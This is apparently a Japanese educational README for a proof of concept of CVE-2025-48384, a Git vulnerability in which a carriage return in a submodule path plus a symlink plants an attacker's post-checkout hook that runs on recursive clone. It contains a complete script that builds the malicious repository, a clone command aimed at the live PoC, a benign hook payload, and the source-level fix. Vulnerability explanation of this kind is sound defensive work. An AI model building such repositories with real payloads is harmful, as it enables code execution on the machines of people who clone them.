
本リポジトリはセキュリティ教育用に作成したものです。
悪用はご遠慮ください。
本脆弱性はディレクトリ名に\rを含める必要があるため、
Linux/Unix系が影響対象となります。
下記が影響対象のGitのバージョンです。
下記コマンドで本リポジトリをクローンした場合もRCEは成立します。
※ 実行の際は、十分にご注意ください。
git clone --recursive https://github.com/IK-20211125/CVE-2025-48384
下記サブモジュールリポジトリのpost-checkout内のコマンドが実行されます。
#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
#!/bin/zsh
git init sub
echo '#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook
git init CVE-2025-48384
git -C CVE-2025-48384 -c protocol.file.allow=always submodule add "$PWD/sub" sub
git -C CVE-2025-48384 mv sub "$(printf "sub\r")"
git config unset -f CVE-2025-48384/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> CVE-2025-48384/.gitmodules
ln -s .git/modules/sub/hooks CVE-2025-48384/sub
git -C CVE-2025-48384 add -A
git -C CVE-2025-48384 commit -m submodule
git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 bad-clone
こちらを参考に作成しました。 2点変更しています。
git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config
まず、なぜRCEが実現されるのかという点ですが、
本脆弱性は、Gitのhooksという標準機能を利用しています。
hooksを簡単に説明すると、
「特定のイベント (コミットなど) が発生した際に、事前に設定したスクリプトを実行できる機能」です。
本脆弱性は.git内のpost-checkoutというチェックアウト時に実行されるファイルを利用しています。
しかし、このファイルは基本的にローカルでしか扱えないため、GitHubのリポジトリをクローンしただけでは、
攻撃者は当然関与できません。
その点をGitの\rの処理を利用して突破し、
ローカル上の./.git/modules/sub/hooks/に任意のpost-checkoutファイルを置くことでRCEを実現しています。
Gitの\rの処理を利用します。
Gitの処理に乗っ取って簡単に説明していきます。
まず、git clone --recursive {url}を利用して、GitHub上のリモートリポジトリからローカルへクローンします。
(--recursiveを付与することでサブモジュールも同時にクローンする。)
その際に、.gitmodules内のpathというパラメータのディレクトリにurlのサブモジュールを展開します。
[submodule "sub"]
url = https://github.com/IK-20211125/sub.git
path = "sub"
このpathパラメータのディレクトリ名に下記のように細工を施します。
path = "sub\r"
また、リポジトリ内のサブモジュールディレクトリの名前もsub\rにしておきます。
このようにしてgit clone --recursiveを行うと、
.gitmodules内のpathに従い、sub\rディレクトリにurlからサブモジュールを展開しようとします。
(.gitmodules内のpathにディレクトリがない場合、サブモジュールの展開を行わない。)
しかし、Gitはサブモジュールの最終的な展開先を.gitmodulesのpathの値を参照しません。
最終的に参照するのは.git/modules/sub/config内のworktreeというパラメータを参照します。
このパラメータは.gitmodulesのpathの値を元に書き込まれます。
この書き込みが重要です。
path = "sub\r"を.git/modules/sub/config内のworktreeに書き込むと下記のような形になります。
[core]
workdir = ../../../sub\r
重要なのはダブルクォートで囲われていないという点です。
static ssize_t write_pair(int fd, const char *key, const char *value, [...]
{
[...]
/*
* Check to see if the value needs to be surrounded with a dq pair.
* Note that problematic characters are always backslash-quoted; this
* check is about not losing leading or trailing SP and strings that
* follow beginning-of-comment characters (i.e. ';' and '#') by the
* configuration parser.
*/
if (value[0] == ' ')
quote = "\"";
for (i = 0; value[i]; i++)
if (value[i] == ';' || value[i] == '#')
quote = "\"";
if (i && value[i - 1] == ' ')
quote = "\"";
strbuf_addf(&sb, "\t%s = %s", key + store->baselen + 1, quote);
特定の位置にスペースが含まれている場合、
または任意の場所に;または#が含まれている場合にのみダブルクォートで囲われますが、
\rの場合はダブルクォートで囲われません。
ダブルクォートが囲われていない場合、末尾の\rをGitは評価しません。
そのため、サブモジュールの展開先は、../../../subとなります。
サブモジュールの名前はsub\rのため、subという名前の任意の形態のファイルを作成することは可能です。(名前が被らない)
ここにシンボリックリンクを置き、サブモジュールの展開先を./.git/modules/sub/hooks/に変更します。
sub -> .git/modules/sub/hooks
サブモジュール内に置いた攻撃者のスクリプトファイルであるpost-checkoutが、
被害者のローカルの./.git/modules/sub/hooks/に置くことができ、チェックアウト時に実行されるようになります。
この攻撃が成立するのはGit内で\rの処理が変わるということが原因です。
.gitmodulesをGitが参照した際はダブルクォートで囲われていたため、\rを評価する。.git/modules/sub/configをGitが参照した際はダブルクォートが囲われていないため、\rを評価しない。本脆弱性が修正されたGitのバージョンでは下記のように変更されています。
(\rが含まれていた場合、ダブルクォートで囲むように変更)
if (value[0] == ' ')
quote = "\"";
for (i = 0; value[i]; i++)
if (value[i] == ';' || value[i] == '#' || value[i] == '\r')
quote = "\"";
if (i && value[i - 1] == ' ')
quote = "\"";
https://github.com/git/git/blob/master/config.c#L2938
類似の脆弱性として、CVE-2024-32002があります。
この脆弱性は、大文字小文字を区別しないファイルシステム(Windows,MacOSなど)で、
CVE-2025-48384と同様にシンボリックリンクを利用して、攻撃者のgithooksへの介入を許します。
下記記事が参考になります。
https://japanese.opswat.com/blog/analyzing-and-remediating-git-vulnerability-cve-2024-32002
※ 内容に解釈の誤りがある場合は、ご指摘いただけますと幸いです。